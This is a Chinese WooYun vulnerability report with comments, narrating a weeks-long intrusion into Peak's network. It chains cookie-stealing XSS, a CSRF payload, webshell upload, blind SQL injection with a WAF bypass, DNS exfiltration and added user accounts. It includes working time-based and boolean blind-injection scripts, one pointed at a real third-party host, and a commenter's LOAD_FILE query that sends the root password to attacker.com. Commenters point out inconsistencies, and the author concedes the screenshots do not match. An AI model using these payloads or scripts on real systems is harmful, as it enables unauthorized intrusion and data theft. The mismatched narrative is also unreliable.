漏洞概要

缺陷编号: 2016-204481

漏洞标题: 我是如何利用组合拳一步步攻陷匹克内网的(XSS配合CSRF/利用DNS配合SQL注入获取数据等等)

相关厂商: epeaksport.com

漏洞作者: Mr.Q

提交时间: 2016-05-03 09:31

公开时间: 2016-05-09 09:00

漏洞类型: 未授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: [email protected]

Tags标签: 无


漏洞详情

披露状态:

2016-05-03: 细节已通知厂商并且等待厂商处理中
2016-05-03: 厂商已查看当前漏洞内容,细节仅向厂商公开
2016-05-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

此次测试历时大半个月吧,不容易啊

详细说明:

mask 区域
1.http://**.**.**/





先看看存不存在上传,不可以,做了限制



然后匹克某站存在xss漏洞



mask 区域
1.http://**.**.**/bugs/wooyun-2010-052615



官方修复了,前端做了限制,正常思路,抓包绕过



QQ20160502-1.png





QQ20160502-6.png





等了好几天,打到一堆,终于打到了管理的cookie



QQ20160502-5.png





成功登陆,



发现了这个



QQ20160502-4.png





试着修改图片上传类型,结果提示不是超级管理员权限不够,又用之前打到的一堆cookie试着登陆,有一个cookie登陆后,直接就302跳转了,猜想这个可能超级管理员啊



ip做了限制?



咋办啊?又纠结了好久,接着翻了翻匹克之前的洞



CSRF



缺陷编号: 2015-128938

漏洞标题: 匹克多处CSRF漏洞



mask 区域
1.http://**.**.**/bugs/wooyun-2010-0128938





后台会不会同样存在csrf呢,结果真有,全站都未做csrf防护啊





我灵机一动,当XSS遇上CSRF 是不是会有很大的“化学反应呢”





构造了个POC,放在vps上了



code 区域
<html>
<script>enclosure.pic_mime.value=".php|.jsp|.aspx";enclosure.submit.focus();</script>
</html>





插入xss代码



<iframe src="http://********/test.html" />



又是过了好久,头像可以上传了,成功getshell



QQ20160502-7.png





QQ20160502-9.png









试着添加用户



net user test test /add



权限不够,不是root权限,试着提权没成功



然后想到这就算了,就在这时,我又发现了匹克一处union注入,



我就想可不可以通过其他途径getshell呢,比如select into outfile



QQ20160502-10.png





可是不知道路径...



天无绝人之路,许久之前我找到过匹克的一个盲注,影响不大就没提交,想想这回用上了



匹克主站是有安全狗的,不过可以用/**)*/绕过



QQ20160414-0.png





root权限



附上poc脚本



code 区域
#encoding=utf-8
__author__ = 'Lu'
import httplib

import time

import string

import sys

import random

import urllib



headers = {'Content-Type': 'application/x-www-form-urlencoded',

'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}



payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'



print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())

user = ''



for i in range(1, 17):

for payload in payloads:

s = "cat_id=22) AND if((ascii(mid(lower(user()),%s,1))=%s),SLEEP(5),0) AND (8663=8663&orderBy=1&showtype=list&&virtual_cat_id=" % (i, ord(payload))

conn = httplib.HTTPConnection('http://shop1.vivo.com.cn:80', timeout=30)

conn.request(method='POST', url='/gallery-ajax_get_goods.html', body=s, headers=headers)

start_time = time.time()

html_doc = conn.getresponse().read()

conn.close()

print '.',

if time.time() - start_time > 1.0:

user += payload

print '\n[in progress]', user,

break



print '\n[Done] MySQL user is %s' % user





想想这回有戏啊,mysql 可以利用LOAD_FILE弄到路径



盲注,而且还有安全狗,实在太慢了,



于是想到可以利用DNS解析获取SQL结果啊



这是一种利用DNS解析过程获取恶意SQL查询结果的先进的SQL注入技术。带有sql查询结果的DNS请求最终被攻击者控制的远程域名服务器拦截并提取出宝贵的数据。



利用DNS从有漏洞的数据库中渗出数据的前提条件是DBMS中有可用的能直接或间接引发DNS解析过程的子程序。 然后这类的子程序被攻击者利用,作为攻击的媒介。



因为sqlmap中没有过这个安全狗的tamper,于是自己仿照着space2comments.py改写了一个



QQ20160502-11.png





QQ20160502-12.png





远程登录vps

nc -lvvp 6666进行监听





QQ20160503-2.png







利用sqlmap --dns-domain --sql-shell



路径拿到





QQ20160503-7.png







利用刚刚的union注入写入shell



QQ20160503-1.png





这回是root权限





QQ20160503-2.png







net use 添加用户 远程登录



QQ20160503-6.png





成功漫游内网



QQ20160503-3.png







QQ20160503-4.png







QQ20160503-5.png





内网还有很多敏感性信息,可以直接控制扫面器打印机等,不进一步深入





整个测试过程大概经历了大半个月吧,从最开始的一个简单的绕过前端的xss,一点一点深入,各种组合拳,能到最后,其实也有很多运气的成分。这期间也学到了不少东西,明早还有安全编程的课,去睡了,晚安

漏洞证明:

已经证明

修复方案:

你们更加专业喽

版权声明:转载请注明来源 乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2016-05-09 09:00

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共3人评价):
登陆后才能进行评分
100%
0%
0%
0%
0%

评价

  1. 2016-05-03 09:54 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)
    1

    此次测试历时大半个月吧,不容易啊

    1# 回复此人
  2. 2016-05-03 09:55 | 指尖上的故事 ( 普通白帽子 | Rank:794 漏洞数:175 | 放手不是我们不合适 | 而是成就你们更适合)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    2# 回复此人
  3. 2016-05-03 10:01 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )
    0

    Mark

    3# 回复此人
  4. 2016-05-03 10:17 | 乌云来了 打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了 打雷啦)
    2

    貌似此处会有个!!雷!!

    4# 回复此人
  5. 2016-05-03 11:39 | Miss Manlin ( 路人 | Rank:4 漏洞数:2 | 小白兔)
    0

    66666 咔嚓 打雷!

    5# 回复此人
  6. 2016-05-03 11:41 | 随风的风 ( 普通白帽子 | Rank:259 漏洞数:96 | 微信公众号:233sec 不定期分享各种漏洞思...)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    6# 回复此人
  7. 2016-05-03 12:44 | Hax0rs ( 实习白帽子 | Rank:65 漏洞数:13 | Hax0rs)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    7# 回复此人
  8. 2016-05-03 14:35 | 习总夸我好青年 ( 路人 | Rank:2 漏洞数:1 | 刚来的,请多关照)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    8# 回复此人
  9. 2016-05-03 15:30 | wybang ( 普通白帽子 | Rank:199 漏洞数:56 | wybang)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    9# 回复此人
  10. 2016-05-03 15:49 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | [email protected]..)
    0

    哥们不是我打击你,匹克21个漏洞报告,就确认了一个。。。

    10# 回复此人
  11. 2016-05-03 15:51 | 乌云来了 打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了 打雷啦)
    0

    @从容 是啊 这个厂商不确认 然后偷偷修复漏洞

    11# 回复此人
  12. 2016-05-03 15:58 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | [email protected]..)
    0

    @乌云来了 打雷啦 重在参与2333

    12# 回复此人
  13. 2016-05-06 20:49 | jdbang2016 ( 实习白帽子 | Rank:90 漏洞数:25 | 哈)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    13# 回复此人
  14. 2016-05-09 09:07 | sauce ( 普通白帽子 | Rank:285 漏洞数:46 | 面向人民币编程)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    14# 回复此人
  15. 2016-05-09 09:20 | dragon110 ( 路人 | Rank:12 漏洞数:6 | 其实我是龙6)
    0

    小伙子..看你测试历时大半个月,我都不好意思忽略你...还是忽略了吧

    15# 回复此人
  16. 2016-05-09 09:26 | DNS ( 普通白帽子 | Rank:803 漏洞数:85 | [email protected])
    0

    真忽略了

    16# 回复此人
  17. 2016-05-09 09:43 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)
    0

    楼主真搞笑 net user test test /add 权限不够,不是root权限

    17# 回复此人
  18. 2016-05-09 09:48 | 乌云来了 打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了 打雷啦)
    0

    @Mr .LZH 意思是没权限进行这个操作啦

    18# 回复此人
  19. 2016-05-09 09:50 | jdbang2016 ( 实习白帽子 | Rank:90 漏洞数:25 | 哈)
    0

    有亮点,shop1.vivo.com.cn:80

    19# 回复此人
  20. 2016-05-09 09:53 | Mr.Q ( 普通白帽子 | Rank:563 漏洞数:78 )
    0

    @jdbang2016 额 我还没注意 当时太晚了 贴篡脚本了 不过那个盲注貌似还没修复 稍后补上脚本哈

    20# 回复此人
  21. 2016-05-09 09:55 | Mr.Q ( 普通白帽子 | Rank:563 漏洞数:78 )
    0

    #encoding=gbk import time import string import sys import random import requests def verify(url): payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.') print 'start to retrive MySQL user:' user = '' for i in range(1,21): for payload in payloads: s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload)) html_doc = requests.get('%s/**)*/and/**)*/%s' % (url,s),timeout=60) print '.', if len(html_doc.text) > 6000: user += payload sys.stdout.write('\r[please wait] %s' % user) sys.stdout.flush() break print '\n[Done]MySQL user is', user def main(): args = sys.argv url = "" if len(args) == 2: url = args[1] verify(url) else: print "Usage: python %s url" % (args[0]) if __name__ == '__main__': main()

    21# 回复此人
  22. 2016-05-09 09:56 | jdbang2016 ( 实习白帽子 | Rank:90 漏洞数:25 | 哈)
    0

    @Mr.Q 期待大神脚本

    22# 回复此人
  23. 2016-05-09 10:00 | lex1993 ( 普通白帽子 | Rank:113 漏洞数:37 | ®国家战略忽悠局指定白帽子 | WooYun认证...)
    0

    厉害,洞主好有耐心!

    23# 回复此人
  24. 2016-05-09 11:11 | Mr .LZH ( 普通白帽子 | Rank:622 漏洞数:79 | 非妹子勿扰···)
    0

    @乌云来了 打雷啦 我读书少,但还是知道window主机是没有root这东西,真不知道洞主怎么玩的

    24# 回复此人
  25. 2016-05-09 11:17 | myhalo ( 普通白帽子 | Rank:331 漏洞数:59 | T-Safe呼朋伴友。)
    0

    危害等级:无影响厂商忽略

    25# 回复此人
  26. 2016-05-09 11:22 | Mr.Q ( 普通白帽子 | Rank:563 漏洞数:78 )
    0

    @Mr .LZH 就是authority/system意思啦 这位白帽大哥root简单说法 大家都懂啦^_^

    26# 回复此人
  27. 2016-05-09 11:50 | 爱捣蛋的鬼 ( 实习白帽子 | Rank:77 漏洞数:15 | 爱捣蛋的鬼)
    0

    思路很吊,赞一个

    27# 回复此人
  28. 2016-05-09 12:06 | jackyu ( 路人 | Rank:28 漏洞数:18 | 世界上没有一个系统是绝对安全的,系统最大...)
    0

    @MR.Q,你发的space_waf.py在哪呢,过安全狗py脚本。

    28# 回复此人
  29. 2016-05-09 13:18 | scanf ( 核心白帽子 | Rank:1694 漏洞数:239 | 。)
    0

    洞主怎么得到路径的啊

    29# 回复此人
  30. 2016-05-09 15:30 | cfan ( 路人 | Rank:8 漏洞数:2 | mechanism)
    0

    @scanf 读取配置文件吧。

    30# 回复此人
  31. 2016-05-09 15:36 | cfan ( 路人 | Rank:8 漏洞数:2 | mechanism)
    0

    @Mr.Q sqlmap --dns-domain --sql-shell,这里的dns-domain后面不用参数了吗?sql-shell里面的语句是这个吗?SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'
 LIMIT 1),'.attacker.com\\foobar'));我本地测试一个,没有发送数据到我监听的端口上面,求指教!!

    31# 回复此人
  32. 2016-05-09 20:35 | ANS5 ( 普通白帽子 | Rank:349 漏洞数:107 | 此心安处是吾乡)
    0

    渗透好详细 佩服洞主

    32# 回复此人
  33. 2016-05-10 02:28 | Freebug ( 普通白帽子 | Rank:110 漏洞数:39 | 流氓是一种高尚的职业!)
    0

    小伙子..看你测试历时大半个月...还是忽略了吧,心寒

    33# 回复此人
  34. 2016-05-10 10:49 | Jumbo ( 普通白帽子 | Rank:132 漏洞数:33 | 猫 - https://www.chinabaiker.com)
    0

    为啥前面webshell没权限,后面就有?

    34# 回复此人
  35. 2016-05-10 11:27 | 乌云来了 打雷啦 ( 实习白帽子 | Rank:34 漏洞数:5 | 乌云来了 打雷啦)
    0

    @Jumbo 应该是俩站在同一服务器吧

    35# 回复此人
  36. 2016-05-10 11:34 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)
    0

    好久没有看到这么酣畅淋漓的文章了。。

    36# 回复此人
  37. 2016-05-10 11:50 | 1c3z ( 普通白帽子 | Rank:307 漏洞数:64 | @)!^)
    0

    有个疑问nc -lvvp 6666是监听在tcp上的,但是--dns-domain,dns走的是udp协议。。。 不知道是如何擦出火法的。。。

    37# 回复此人
  38. 2016-05-10 15:42 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @1c3z 比较有问题啊

    38# 回复此人
  39. 2016-05-10 15:55 | 咚咚呛 ( 普通白帽子 | Rank:263 漏洞数:34 | 我是一只小毛驴咿呀咿呀呦~~)
    0

    @1c3z 哎呦我去,这洞我通读了一遍愣是感觉合情合理,楼主能看出也是神了。

    39# 回复此人
  40. 2016-05-10 16:02 | kevinchowsec ( 实习白帽子 | Rank:94 漏洞数:21 | 周凯文,信息安全爱好者。)
    0

    很久很久以前, 我喜欢看渗透文章, 那时很多人也喜欢写渗透文章, 看的是思路, 微小的细节、出彩的神器均让我惊叹, 心想:“学习到了,学习到了,膜拜!” 这两三年,很少见到完整的渗透文章,更少见到精彩的渗透文章。 有某种感觉,让我觉得洞主和我有过同样的这段时光。

    40# 回复此人
  41. 2016-05-10 16:12 | jdbang2016 ( 实习白帽子 | Rank:90 漏洞数:25 | 哈)
    0

    @kevinchowsec 同感

    41# 回复此人
  42. 2016-05-10 16:36 | cfan ( 路人 | Rank:8 漏洞数:2 | mechanism)
    0

    @1c3z 绝对有问题。。。。

    42# 回复此人
  43. 2016-05-10 16:38 | 大师兄 ( 实习白帽子 | Rank:31 漏洞数:8 | 每日必关注乌云)
    0

    话说讨论已经转移到这个对方了http://zone.wooyun.org/content/27162

    43# 回复此人
  44. 2016-05-10 16:44 | Mr.Q ( 普通白帽子 | Rank:563 漏洞数:78 )
    0

    出来澄清下 因为洞这个确实经历了挺久,图片不是一天截下来的 贴的图确实有些问题 因为这个洞的问题不是匹克的一个站 涉及了好几个站 但漏洞是确实存在的 因为是回忆着发的漏洞 所以可能存在了描述和图片有几个地方没对上 发漏洞第一个目的是希望帮助厂商修补漏洞 当然啦 这个厂商各种偷偷修补漏洞不确认大家也都知道 第二个目的就是和大家交流心得 自己在过程中学习姿势 此次因个人原因的一个小事故本人向社区白帽表示不好意思 下次发洞前一定图片文字对应好 感谢各位大牛的悉心指正 散了吧~

    44# 回复此人
  45. 2016-05-10 16:57 | F4K3R ( 普通白帽子 | Rank:318 漏洞数:34 | 求团队收留。)
    0

    http://shop1.vivo.com.cn:80 ctrl+F

    45# 回复此人
  46. 2016-05-10 17:07 | just_joker ( 普通白帽子 | Rank:124 漏洞数:22 | ..........)
    0

    雷没有了?

    46# 回复此人
  47. 2016-05-11 14:50 | 无名 ( 实习白帽子 | Rank:41 漏洞数:9 | 我是一只小菜鸟呀,伊雅伊尔哟。)
    0

    很久没看到这种文章了。。。给洞主一个赞。

    47# 回复此人
  48. 2016-05-11 20:55 | jye33 ( 普通白帽子 | Rank:1340 漏洞数:310 | 没有什么能够阻挡,我对静静的向往)
    0

    雷就这么没有了

    48# 回复此人
  49. 2016-05-12 20:03 | hecate ( 普通白帽子 | Rank:823 漏洞数:129 | ®高级安全工程师 | WooYun认证√)
    0

    扫面器是个啥

    49# 回复此人
  50. 2016-05-23 15:13 | 国光 ( 路人 | Rank:26 漏洞数:6 | 努力的小菜鸟)
    0

    小白只能默默地仰望高端玩家=,=

    50# 回复此人
  51. 2016-06-09 14:52 | 情小北 ( 路人 | Rank:21 漏洞数:9 | 那时候我们还年轻,所以任由时光作渡.)
    0

    linux 机器 net user .. 呵呵 看来新技术

    51# 回复此人